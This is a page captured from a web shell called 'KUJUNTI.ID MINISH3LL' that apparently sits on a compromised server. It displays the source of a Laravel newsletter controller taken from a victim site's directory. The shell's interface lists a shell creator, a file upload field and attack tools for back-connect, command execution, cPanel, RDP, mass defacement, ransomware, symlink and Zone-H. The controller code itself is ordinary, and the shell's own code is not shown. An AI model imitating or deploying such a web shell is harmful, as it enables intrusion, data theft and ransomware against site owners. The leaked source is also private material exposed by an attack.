KUJUNTI.ID MINISH3LL
Path : /var/www/clients/client0/web25/web/app/Http/Controllers/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/clients/client0/web25/web/app/Http/Controllers/NewsLetterController.php


<?php

namespace App\Http\Controllers;

use App\Models\Newsletter as ModelsNewsletter;
use App\Models\Unsubscriber;
use App\Notifications\ModelCreatedNotification;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Mail;

class NewsLetterController extends Controller
{
    public function create()
    {
        return view('front.newsletter');
    }

    public function newsletter(Request $request)
    {
        $request->validate([
            'email' => ['required', 'string', 'email', 'max:255', 'unique:' . ModelsNewsletter::class],
        ]);

        $encodedEmail = base64_encode($request->email);

        Mail::send(
            'front.newsletter-confirmation',
            array(
                'email' => $encodedEmail,
            ),
            function ($message) use ($request) {
                $message->to($request->email);
                $message->subject('Newsletter Confirmation');
                return back()->with('sending', 'value');
            }
        );

        return response()->json('subscribe');
    }

    public function store($encodedEmail)
    {
        $email = base64_decode($encodedEmail);

        $subscriber = ModelsNewsletter::UpdateOrCreate([
            'email' => $email,
        ]);
        $subscriber->notify(new ModelCreatedNotification($subscriber));
        Mail::send('front.newsletter-welcome', array(
            'email' => $email,
        ), function ($message) use ($email) {
            $message->to($email);
            $message->subject('AmisDeNzong Subscription Confirmation');
        });
        return back()->with('modal', 'value');
    }
    public function unsubscribe($encodedEmail)
    {
        $email = base64_decode($encodedEmail);

        $newsletter = ModelsNewsletter::where('email', $email)->get();
        if ($newsletter->count() > 0) {
            ModelsNewsletter::destroy($newsletter[0]->id);
            Unsubscriber::UpdateOrCreate([
                'email' => $email,
            ]);
        }
        return back()->with('unsubscribe', $email);
    }
}

© KUJUNTI.ID

Website Feedback Form

Please fill out the form below to send us your feedback.




Contact Support